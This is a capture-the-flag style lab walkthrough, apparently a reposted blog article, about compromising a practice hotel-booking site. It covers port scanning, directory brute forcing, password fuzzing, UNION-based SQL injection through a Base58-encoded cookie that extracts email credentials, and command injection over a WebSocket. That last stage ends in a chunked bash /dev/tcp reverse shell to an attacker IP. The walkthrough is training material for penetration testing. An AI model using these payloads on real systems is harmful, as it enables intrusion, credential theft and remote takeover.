Complex Attack Types: Sample Scenarios 48

4 months ago 27
BOOK THIS SPACE FOR AD
ARTICLE AD

Baris Dincer

We are starting a new lab scenario in which we will infiltrate the target system using various cyber security principles. This scenario has elements that will improve your capabilities and cyber thinking in many ways.

You may see that the IPs change from time to time, do not care, we will be using different machines as we progress. The entire methodology is the same.

Get your keyboards ready, cyberpunks!

As you always do, save the values ​​and IPs you use most as constants on the shell.

output

Now save the target IP value on local DNS. You should use the /etc/hosts file for this.

output

Now you are ready to move on to the next stage.

In this section, where we will explore the target system and network structure, we will start the enumeration phase by using the nmap tool:

nmap -sV -sC -oN nmap_result.txt -A -T4 --script=vuln -Pn -sS --min-rate=300 --max-retries=3 -p- $target_ip-sV: Service version detection.-sC: Runs default scripts, equivalent to --script=default.-oN nmap_result.txt: Outputs the results to a file named nmap_result.txt.-A: Enables OS detection, version detection, script scanning, and traceroute.-T4: Sets the timing template to level 4, making the scan faster.--script=vuln: Runs vulnerability detection scripts.-Pn: Treats all hosts as online (no host discovery, useful for firewall evasion).-sS: Performs a TCP SYN scan, which is less detectable by the target system.--min-rate=300: Ensures the scan sends packets at a minimum rate of 300 packets per second.--max-retries=3: Limits the number of retries for host probes to 3.-p-: Scans all 65535 ports.$target_ip: The target IP address to be scanned.

It may take time for the command to produce a response, you must be patient.

output
output
output

As you can see, we have open port information, version descriptions and advisory CVE notes. You should record these in a real scenario.

80/tcp open http
4346/tcp open elanlm?

You must have an aptitude for ports that are the nature of the Internet and you must practice constantly.

HTTP (Hypertext Transfer Protocol):

Port 80: The standard port for HTTP traffic, which is used to serve web pages.Common Use: Hosting websites and web applications, serving content over the Internet.

4346/tcp open elanlm?

Port 4346: This is less commonly encountered and might be associated with a specific application or service. In some cases, it might be used by proprietary or less-known software.ELAN License Manager: Port 4346 is sometimes associated with the ELAN License Manager, which is a tool used for managing licenses of certain software applications.Common Use: Managing and validating software licenses for applications that require it.

Now let’s send a standard curl request and look at the content. In some scenarios, you may encounter additional details that you cannot see through the browser: curl -X GET http://ourtargetsite.thm

output

We discovered that there are some sections within the site.

/guest-book
/about-us

Try for other port: curl -X GET http://ourtargetsite.thm:4346

output
output

There is also a login panel here.

Now you can try to get header information: curl -i http://ourtargetsite.thm

output

Try for other: curl -i http://ourtargetsite.thm:4346

output

Note the findings.

Let’s start researching through the browser. You should learn to use the developer tools and tabs here. First we can look at the web application on HTTP 80 port.

output

Analyze the “About Us” section, you can get potential user names from here.

output

We have three possible usernames:

gilbert
sandra
ton

You should save these too.

View page source, check for additional notes or scripts.

output

We discovered a js file like this from http://ourtargetsite.thm/static/check-rooms.js

fetch('/api/rooms-available').then(response => response.text()).then(number => {
const bookingBtn = document.querySelector("#booking");
bookingBtn.removeAttribute("disabled");
if (number < 6) {
bookingBtn.addEventListener("click", () => {
window.location.href = "new-booking";
});
} else {
bookingBtn.addEventListener("click", () => {
alert("Unfortunately the hotel is currently fully booked. Please try again later!")
});
}
});

You should consider manipulating scripts like this.

Additionally, the following section in the .js that triggers this place also gives us proof that there may be a new endpoint:

window.location.href = "new-booking"

Now let’s try to access connection requests and endpoints from the “network” field.

output

Focus on the rooms-available section, this could be your new spot.

output
output

From here we get a certain number value as response.

output

We need to check the application running on the other port.

output

The login panel is in front of us. You may want to try a brute force here. Before that, let’s try to obtain the page source and other findings.

output

Check “network” section again.

output

You should create a random payload and learn the response type.

output
output

We have:

user_name=test&pass_word=test

Our content type is:

application/x-www-form-urlencoded

You can note these and move on to the next stage.

Now you need the directory discovery method to get hidden pages and other inaccessible points:

gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://ourtargetsite.thm --random-agent -e -d -x js,php,txt,html,json

After that use the same query for the other port:

gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://ourtargetsite.thm:4346 --random-agent -e -d -x js,php,txt,html,json

The points you will gain from here are valuable.

output

You have to be patient and get the answer. There won’t be much detail in our scenario, so let’s move on to the next stage.

We have discovered the “new-booking” endpoint, which is a different point, it is time to take a look here.

output

Check parameters and other findings.

output

We found a new .js file from http://ourtargetsite.thm/static/new-booking.js

function getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
}

fetch('/api/booking-info?booking_key=' + getCookie("BOOKING_KEY")).then(response => response.json()).then(data => {
document.querySelector("#rooms").value = data.room_num;
document.querySelector("#nights").value = data.days;
});

There are nice details here.

First of all, there is a cookie defined for us:

BOOKING_KEY

We then have a new point where we can create a query:

/api/booking-info?booking_key=

Now let’s obtain cookies through the browser.

output

Our cookie is:

55oYpt6n8TAVgZajV65aronoS

Full input:

BOOKING_KEY=55oYpt6n8TAVgZajV65aronoS
output

A query can be created using this value, but as you can see, there is not much authority for the cookie defined for us.

Let’s see how to make this request using curl:

curl -v --cookie "BOOKING_KEY=55oYpt6n8TAVgZajV65aronoS" http://ourtargetsite.thm/new-booking
output

Now let’s send a curl to this request: http://ourtargetsite.thm/api/booking-info?booking_key=55oYpt6n8TAVgZajQe7zDWAEU

output

We got 404.

Note these.

We can launch a brute force instance with the ffuf tool:

ffuf -w $wordlist_pass -X POST -d "user_name=gilbert&pass_word=FUZZ" -b "BOOKING_KEY=55oYpt6n8TAVgZajV65aronoS" -H "Content-Type: application/x-www-form-urlencoded" -u http://ourtargetsite.thm:4346/ -mr "Invalid Credentials"
output

There are more than 200 response answers. This is very interesting.

We have:

anthony
soccer
iloveu
iloveyou

You should note these stages.

output

When we try these, we still fail, which means there is a different protection mechanism.

Let’s discover which hash this cookie value belongs to.

output

It is not among the known ones.

Now use https://gchq.github.io/CyberChef/

output

Now we have a few tangible details. This is a definition.

booking_id:9753089
**
**
**
Matching ops: From Base85
Valid UTF8
Entropy: 3.84

**
**
*
From_Base58('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz',false)

This is an important detail, we can manipulate it. The payload must be Base58 encoded.

Let’s do a few experiments based on this booking_id:9753089 parameter. First of all, we need to do a test with the booking_id:1 value.

Convert it as Base58. You can use https://gchq.github.io/CyberChef/ again.

outputbooking_id:1 , 2rjq1RU44241vVrsA

Now send it.

curl -v --cookie "BOOKING_KEY=2rjq1RU44241vVrsA" http://ourtargetsite.thm/new-booking
output

Does not work…

Now check this: http://ourtargetsite.thm/api/booking-info?booking_key=2rjq1RU44241vVrsA

output

We got “not found”.

Now you should do SQLi test.

booking_id:1' , 9CY2trzQUKeK58P6PQ

Use with:

curl -v --cookie "BOOKING_KEY=9CY2trzQUKeK58P6PQ" http://ourtargetsite.thm/new-booking
output

Let’s try it via browser.

output

We now got “Bad Request”… This indicates something is wrong for server.

You might use a UNION-based SQL.

UNION SELECT 1 -- = oVgiLbufUy1R3yt8qsCv2wN

Use this command:

curl -v 'http://ourtargetsite.thm/api/booking-info?booking_key=oVgiLbufUy1R3yt8qsCv2wN'
output

Bad request…

Now try this:

booking_id:1' UNION SELECT sqlite_version(), 42-- = GwNvZAhNk5XbSyAP4TxY1sv7GxGU2CaaEBN7XnSGJEVLpFM7Bu7SEXeegycsXuiKyqE

We use this command:

curl -v 'http://ourtargetsite.thm/api/booking-info?booking_key=GwNvZAhNk5XbSyAP4TxY1sv7GxGU2CaaEBN7XnSGJEVLpFM7Bu7SEXeegycsXuiKyqE'
output

Wow! We got this!

{"room_num":"3.42.0","days":"42"}

This is the version 3.42.0.

First, determine the number of columns in the original query.

booking_id:1' ORDER BY 1, 42-- = Liynfh6oXNkcr286vbDsQRB6oYmFAxfvvEkWwFqa4
booking_id:1' ORDER BY 2, 42-- = Liynfh6oXNkcr286vbDsQRB6oYmFAxfvxSEPR5kix
booking_id:1' ORDER BY 3, 42-- = Liynfh6oXNkcr286vbDsQRB6oYmFAxfvzdiFtufsr
...
...
...
curl -v 'http://ourtargetsite.thm/api/booking-info?booking_key=Liynfh6oXNkcr286vbDsQRB6oYmFAxfvvEkWwFqa4'curl -v 'http://ourtargetsite.thm/api/booking-info?booking_key=Liynfh6oXNkcr286vbDsQRB6oYmFAxfvxSEPR5kix'curl -v 'http://ourtargetsite.thm/api/booking-info?booking_key=Liynfh6oXNkcr286vbDsQRB6oYmFAxfvzdiFtufsr'
output

Does not work…

Try:

booking_id:1' UNION SELECT GROUP_CONCAT(name, ', '), 42 FROM sqlite_master WHERE type='table'-- = 8gaZgzPCL5P8n7uzSkk5mopHTab8BdrAD3JgqfoNMNDhtC87qQ7wpajzCaqBovTxQG2X9Za4n9NsmYkMTABdKNwcWyAzby9VfUyjYfbQeKtQxMqSwDKXoUKoqzGNdXmmcGcurl -v 'http://ourtargetsite.thm/api/booking-info?booking_key=8gaZgzPCL5P8n7uzSkk5mopHTab8BdrAD3JgqfoNMNDhtC87qQ7wpajzCaqBovTxQG2X9Za4n9NsmYkMTABdKNwcWyAzby9VfUyjYfbQeKtQxMqSwDKXoUKoqzGNdXmmcG'
output

Yeap! We got the structure now.

Now use:

booking_id:1' UNION SELECT GROUP_CONCAT(name, ', '), 42 FROM pragma_table_info('email_access')-- = auh9HWGy1CLhL9WtYg5A4mdheKFchwdye9B4qpFfEtf5Sx6RAd3ey1vjU8Kgi6yyXfKi4nkwgFyZ5d8MGTXtzn83uLWQBztGdgSVb6PPTzetLHdvgv6vAc8WgNc1hAtpn44curl -v 'http://ourtargetsite.thm/api/booking-info?booking_key=auh9HWGy1CLhL9WtYg5A4mdheKFchwdye9B4qpFfEtf5Sx6RAd3ey1vjU8Kgi6yyXfKi4nkwgFyZ5d8MGTXtzn83uLWQBztGdgSVb6PPTzetLHdvgv6vAc8WgNc1hAtpn44'
output

Yes.

{"room_num":"guest_name, email_username, email_password","days":"42"}

Now try to get information from these tables:

booking_id:1' UNION SELECT email_username, email_password FROM email_access LIMIT 1 OFFSET 1-- = 2jxBaXg1kk8jYX7ZxE5n2zjS2VTJwX6hbuBMMZLfmMWMeU6371uTDyGp6Snkz85ftbNS5Fzt5apVTY9m3cvkFZvNma7cwPbPVxr4DfFzgS51C51KkcC8P4XUKJTqM8EEGcurl -v 'http://ourtargetsite.thm/api/booking-info?booking_key=2jxBaXg1kk8jYX7ZxE5n2zjS2VTJwX6hbuBMMZLfmMWMeU6371uTDyGp6Snkz85ftbNS5Fzt5apVTY9m3cvkFZvNma7cwPbPVxr4DfFzgS51C51KkcC8P4XUKJTqM8EEG'UNION SELECT email_username, email_password FROM email_access: This is the injected part of the query. It uses the UNION SQL operator to combine the results of the original query with the results of the SELECT statement. The SELECT statement is designed to retrieve the email_username and email_password columns from the email_access table.LIMIT 1 OFFSET 1: This clause limits the result to a single row but skips the first row (to avoid returning the first record, which might be more conspicuous). It effectively retrieves the second record from the email_access table.--: This is a SQL comment marker that ignores the rest of the query. Everything after -- is treated as a comment and not executed, which ensures that any trailing part of the original query is not processed.
output

Now we have a login credential.

Now you can log into the machine.

output
output

We have message! Wow!

Just a little tip. The username is determined as the first letter of the name and the entire surname. Here, the name in the sender section can also be the username. They would be like:

scharity
sweetcharity

Inspect the page:

output

There is a code here. Get this and make it look beautiful. You can use here: https://lelinhtinh.github.io/de4js/

output

We have:

let elems = document.querySelectorAll(".email_list .row");
for (var i = 0; i < elems.length; i++) {
elems[i].addEventListener("click", (e => {
document.querySelector(".email_list .selected").classList.remove("selected"), e.target.parentElement.classList.add("selected");
let t = e.target.parentElement.getAttribute("data-id"),
n = e.target.parentElement.querySelector(".col_from").innerText,
r = e.target.parentElement.querySelector(".col_subject").innerText;
document.querySelector("#from_header").innerText = n, document.querySelector("#subj_header").innerText = r, document.querySelector("#email_content").innerText = "", fetch("/api/message?message_id=" + t).then((e => e.text())).then((e => {
document.querySelector("#email_content").innerText = atob(e)
}))
})), document.querySelector(".dialog_controls button").addEventListener("click", (e => {
e.preventDefault(), window.location.href = "/"
}))
}
const wsUri = `ws://${location.host}/ws`;
socket = new WebSocket(wsUri);
let tz = Intl.DateTimeFormat().resolvedOptions().timeZone;
socket.onmessage = e => document.querySelector(".time").innerText = e.data, setInterval((() => socket.send(tz)), 1e3);

There is a mechanism that interacts with the database quite a bit and uses sockets. There is a timer here too. You’ll see it immediately at the top left of the page.

output

It comes from:

const wsUri = `ws://${location.host}/ws`;
socket = new WebSocket(wsUri);
let tz = Intl.DateTimeFormat().resolvedOptions().timeZone;
socket.onmessage = e => document.querySelector(".time").innerText = e.data, setInterval((() => socket.send(tz)), 1e3);

We have also id cookie:

T8HJEKFAeR1NqySvkKyIKyU1wCq31og/GYwdbk6Tael5vL9fKUKEYbr1fgzuqbhPZ9xc4BTDZduVnw==

The code sets innerText directly from potentially untrusted sources (n, r, e) without proper sanitization. Sanitize any content that is inserted into the DOM to prevent XSS attacks. Use libraries like DOMPurify to clean the input if you need.

The WebSocket connection is initiated using an unencrypted (ws://) URI.

The setInterval function sends the timezone to the server every second, which could lead to a DoS attack. Or we can use this for Remote Code Execution methods.

The code attaches an event listener to each element inside the loop, which could be inefficient.

Now, let’s first move on to browser developer tools. Then open “console”.

output

Try this:

tz_id = Intl.DateTimeFormat().resolvedOptions().timeZone + '; whoami;';
socket.send(tz_id);
output

Analyze this in packets from network listening. We use Wireshark.

output

Look at the raw stream on the right, you will see a user named gilbert there. Yes it works!

Now try:

tz_id = Intl.DateTimeFormat().resolvedOptions().timeZone + '; id;';
socket.send(tz_id);
output
output

We got these!

Now try:

tz_id = Intl.DateTimeFormat().resolvedOptions().timeZone + '; cat /etc/passwd;';
socket.send(tz_id);
output

As you can see, we have obtained the system in front of us.

Now let’s try getting a reverse shell:

bash -i >& /dev/tcp/10.10.124.116/12280 0>&1tz_id = Intl.DateTimeFormat().resolvedOptions().timeZone + '; bash -i >& /dev/tcp/10.10.124.116/12280 0>&1';
socket.send(tz_id);

First of all, don’t forget to put your machine in listening mode.

output

Now forward it.

output

What is that? Invalid? Why?

Is there a command length?

output
output

When you check the length, you will get an error of a certain value, you have to discover it yourself.

You can use this source:

We will use:

bash -i >& /dev/tcp/10.10.124.116/12280 0>&1

We should try like:

socket.send('Cuba;echo -n "bash ">tmp/c;')
socket.send('Cuba;echo -n "-i ">>tmp/c;')
socket.send('Cuba;echo -n ">& /d">>tmp/c;')
socket.send('Cuba;echo -n "ev/t">>tmp/c;')
socket.send('Cuba;echo -n "cp/10">>tmp/c;')
socket.send('Cuba;echo -n ".10.1 ">>tmp/c;')
socket.send('Cuba;echo -n "24.11">>tmp/c;')
socket.send('Cuba;echo -n "6/122">>tmp/c;')
socket.send('Cuba;echo -n "80 0">>tmp/c;')
socket.send('Cuba;echo -n ">&1">>tmp/c;')
socket.send('Cuba;echo;cat /tmp/c;echo;');
output

Now you will be:

root@kali:~$ nc -lvnp 12280
listening on [any] 12280 ...
connect to [10.10.124.116] from (UNKNOWN) [10.10.109.239] 43372
bash: cannot set terminal process group (682): Inappropriate ioctl for device
bash: no job control in this shell
gilbert@tonhotel:/$

Don’t give up on hacking.

Code for good.

^-^

Read Entire Article